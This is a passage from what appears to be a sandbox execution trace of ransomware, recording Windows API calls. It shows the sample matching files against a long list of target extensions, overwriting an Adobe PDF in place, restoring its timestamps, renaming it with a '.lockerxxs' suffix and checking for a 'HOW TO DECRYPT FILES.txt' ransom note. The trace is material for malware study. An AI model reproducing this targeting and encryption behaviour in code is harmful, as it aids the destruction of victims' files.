(pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.mdb") returned 0 [0068.899] lstrlenA (lpString="*.mdb") returned 5 [0068.899] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.fdb") returned 0 [0068.899] lstrlenA (lpString="*.fdb") returned 5 [0068.899] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.wab") returned 0 [0068.899] lstrlenA (lpString="*.wab") returned 5 [0068.899] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.dat") returned 0 [0068.899] lstrlenA (lpString="*.dat") returned 5 [0068.899] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.txt") returned 0 [0068.899] lstrlenA (lpString="*.txt") returned 5 [0068.899] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.jpeg") returned 0 [0068.899] lstrlenA (lpString="*.jpeg") returned 6 [0068.899] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.jpg") returned 0 [0068.899] lstrlenA (lpString="*.jpg") returned 5 [0068.899] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.png") returned 0 [0068.899] lstrlenA (lpString="*.png") returned 5 [0068.899] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.php") returned 0 [0068.899] lstrlenA (lpString="*.php") returned 5 [0068.899] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.cs") returned 0 [0068.899] lstrlenA (lpString="*.cs") returned 4 [0068.899] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.cpp") returned 0 [0068.899] lstrlenA (lpString="*.cpp") returned 5 [0068.899] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.rar") returned 0 [0068.899] lstrlenA (lpString="*.rar") returned 5 [0068.899] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.zip") returned 0 [0068.900] lstrlenA (lpString="*.zip") returned 5 [0068.900] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.html") returned 0 [0068.900] lstrlenA (lpString="*.html") returned 6 [0068.900] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.htm") returned 0 [0068.900] lstrlenA (lpString="*.htm") returned 5 [0068.900] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.xlsx") returned 0 [0068.900] lstrlenA (lpString="*.xlsx") returned 6 [0068.900] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.xls") returned 0 [0068.900] lstrlenA (lpString="*.xls") returned 5 [0068.900] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.mp4") returned 0 [0068.900] lstrlenA (lpString="*.mp4") returned 5 [0068.900] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.ppt") returned 0 [0068.900] lstrlenA (lpString="*.ppt") returned 5 [0068.900] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.pptx") returned 0 [0068.900] lstrlenA (lpString="*.pptx") returned 6 [0068.900] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.doc") returned 0 [0068.900] lstrlenA (lpString="*.doc") returned 5 [0068.900] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.dot") returned 0 [0068.900] lstrlenA (lpString="*.dot") returned 5 [0068.900] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.docx") returned 0 [0068.900] lstrlenA (lpString="*.docx") returned 6 [0068.900] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.7z") returned 0 [0068.900] lstrlenA (lpString="*.7z") returned 4 [0068.900] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.tar") returned 0 [0068.900] lstrlenA (lpString="*.tar") returned 5 [0068.900] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.bz2") returned 0 [0068.900] lstrlenA (lpString="*.bz2") returned 5 [0068.900] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.gz") returned 0 [0068.900] lstrlenA (lpString="*.gz") returned 4 [0068.900] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.mkv") returned 0 [0068.900] lstrlenA (lpString="*.mkv") returned 5 [0068.900] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.eml") returned 0 [0068.901] lstrlenA (lpString="*.eml") returned 5 [0068.901] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.msg") returned 0 [0068.901] lstrlenA (lpString="*.msg") returned 5 [0068.901] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.edb") returned 0 [0068.901] lstrlenA (lpString="*.edb") returned 5 [0068.901] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.accdb") returned 0 [0068.901] lstrlenA (lpString="*.accdb") returned 7 [0068.901] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.odb") returned 0 [0068.901] lstrlenA (lpString="*.odb") returned 5 [0068.901] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.java") returned 0 [0068.901] lstrlenA (lpString="*.java") returned 6 [0068.901] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.asm") returned 0 [0068.901] lstrlenA (lpString="*.asm") returned 5 [0068.901] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.pfx") returned 0 [0068.901] lstrlenA (lpString="*.pfx") returned 5 [0068.901] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.pem") returned 0 [0068.901] lstrlenA (lpString="*.pem") returned 5 [0068.901] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.p12") returned 0 [0068.901] lstrlenA (lpString="*.p12") returned 5 [0068.901] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.gpg") returned 0 [0068.901] lstrlenA (lpString="*.gpg") returned 5 [0068.901] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.vsd") returned 0 [0068.901] lstrlenA (lpString="*.vsd") returned 5 [0068.901] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.odg") returned 0 [0068.901] lstrlenA (lpString="*.odg") returned 5 [0068.901] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.raw") returned 0 [0068.901] lstrlenA (lpString="*.raw") returned 5 [0068.901] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.nef") returned 0 [0068.901] lstrlenA (lpString="*.nef") returned 5 [0068.901] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.svg") returned 0 [0068.901] lstrlenA (lpString="*.svg") returned 5 [0068.901] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.psd") returned 0 [0068.902] lstrlenA (lpString="*.psd") returned 5 [0068.902] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.vmx") returned 0 [0068.902] lstrlenA (lpString="*.vmx") returned 5 [0068.902] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.vmdk") returned 0 [0068.902] lstrlenA (lpString="*.vmdk") returned 6 [0068.902] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.vdi") returned 0 [0068.902] lstrlenA (lpString="*.vdi") returned 5 [0068.902] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.lay6") returned 0 [0068.902] lstrlenA (lpString="*.lay6") returned 6 [0068.902] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.mpeg") returned 0 [0068.902] lstrlenA (lpString="*.mpeg") returned 6 [0068.902] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.djvu") returned 0 [0068.902] lstrlenA (lpString="*.djvu") returned 6 [0068.902] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.tiff") returned 0 [0068.902] lstrlenA (lpString="*.tiff") returned 6 [0068.903] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.backup") returned 0 [0068.903] lstrlenA (lpString="*.backup") returned 8 [0068.903] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", pszSpec="*.pdf") returned 1 [0068.903] lstrlenA (lpString="*.pdf") returned 5 [0068.903] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf" [0068.903] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf" [0068.903] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf.") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf." [0068.903] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf.lockerxxs") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf.lockerxxs" [0068.903] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rus\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0068.903] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1e071 [0068.903] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x9b058100, dwHighDateTime=0x1cb84b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x80a04a60, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x9b058100, dwHighDateTime=0x1cb84b4)) returned 1 [0068.904] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0068.904] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x1e04b, lpOverlapped=0x0) returned 1 [0068.907] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf") returned="AdobeID.pdf" [0068.908] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0068.909] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x1e04b, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x1e04b, lpOverlapped=0x0) returned 1 [0068.909] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0068.909] CloseHandle (hObject=0x94) returned 1 [0068.911] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rus\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rus\\adobeid.pdf.lockerxxs")) returned 1 [0068.915] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1d17f, dwReserved0=0xec0003ef, dwReserved1=0x4e00c4, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 1 [0068.915] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0068.915] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DefaultID.pdf") returned 1 [0068.915] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DefaultID.pdf") returned 1 [0068.915] lstrcmpiA (lpString1="", lpString2="DefaultID.pdf") returned -1 [0068.915] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\AdobeID.pdf") returned="AdobeID.pdf" [0068.915] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\" [0068.915] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\") returned="" [0068.915] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\HOW TO DECRYPT FILES.txt" [0068.915] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rus\\how to decrypt files.txt")) returned 0x20 [0068.915] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\", lpString2="DefaultID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf" [0068.915] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.ems") returned 0 [0068.915] lstrlenA (lpString="*.ems") returned 5 [0068.915] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.db") returned 0 [0068.915] lstrlenA (lpString="*.db") returned 4 [0068.916] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.dbf") returned 0 [0068.916] lstrlenA (lpString="*.dbf") returned 5 [0068.916] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.myox") returned 0 [0068.916] lstrlenA (lpString="*.myox") returned 6 [0068.916] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.myo") returned 0 [0068.916] lstrlenA (lpString="*.myo") returned 5 [0068.916] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.qbw") returned 0 [0068.916] lstrlenA (lpString="*.qbw") returned 5 [0068.916] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.qbb") returned 0 [0068.916] lstrlenA (lpString="*.qbb") returned 5 [0068.916] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.qbm") returned 0 [0068.916] lstrlenA (lpString="*.qbm") returned 5 [0068.916] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.qbo") returned 0 [0068.916] lstrlenA (lpString="*.qbo") returned 5 [0068.916] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.qbx") returned 0 [0068.916] lstrlenA (lpString="*.qbx") returned 5 [0068.916] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.qba") returned 0 [0068.916] lstrlenA (lpString="*.qba") returned 5 [0068.916] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.qby") returned 0 [0068.916] lstrlenA (lpString="*.qby") returned 5 [0068.916] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.qbj") returned 0 [0068.916] lstrlenA (lpString="*.qbj") returned 5 [0068.916] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.ofx") returned 0 [0068.917] lstrlenA (lpString="*.ofx") returned 5 [0068.917] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.qif") returned 0 [0068.917] lstrlenA (lpString="*.qif") returned 5 [0068.917] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.mye") returned 0 [0068.917] lstrlenA (lpString="*.mye") returned 5 [0068.917] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.mbox") returned 0 [0068.917] lstrlenA (lpString="*.mbox") returned 6 [0068.917] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.eml") returned 0 [0068.917] lstrlenA (lpString="*.eml") returned 5 [0068.917] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.pst") returned 0 [0068.917] lstrlenA (lpString="*.pst") returned 5 [0068.917] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.ost") returned 0 [0068.917] lstrlenA (lpString="*.ost") returned 5 [0068.917] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.idx") returned 0 [0068.917] lstrlenA (lpString="*.idx") returned 5 [0068.917] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.dbx") returned 0 [0068.917] lstrlenA (lpString="*.dbx") returned 5 [0068.917] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.sql") returned 0 [0068.917] lstrlenA (lpString="*.sql") returned 5 [0068.917] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.mdb") returned 0 [0068.917] lstrlenA (lpString="*.mdb") returned 5 [0068.917] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.fdb") returned 0 [0068.918] lstrlenA (lpString="*.fdb") returned 5 [0068.918] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.wab") returned 0 [0068.918] lstrlenA (lpString="*.wab") returned 5 [0068.918] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.dat") returned 0 [0068.918] lstrlenA (lpString="*.dat") returned 5 [0068.918] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.txt") returned 0 [0068.918] lstrlenA (lpString="*.txt") returned 5 [0068.918] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.jpeg") returned 0 [0068.918] lstrlenA (lpString="*.jpeg") returned 6 [0068.918] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.jpg") returned 0 [0068.918] lstrlenA (lpString="*.jpg") returned 5 [0068.918] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.png") returned 0 [0068.918] lstrlenA (lpString="*.png") returned 5 [0068.919] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.php") returned 0 [0068.919] lstrlenA (lpString="*.php") returned 5 [0068.919] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.cs") returned 0 [0068.919] lstrlenA (lpString="*.cs") returned 4 [0068.919] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.cpp") returned 0 [0068.919] lstrlenA (lpString="*.cpp") returned 5 [0068.919] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.rar") returned 0 [0068.919] lstrlenA (lpString="*.rar") returned 5 [0068.919] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.zip") returned 0 [0068.919] lstrlenA (lpString="*.zip") returned 5 [0068.919] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\DefaultID.pdf", pszSpec="*.html") returned 0 [0068.919] 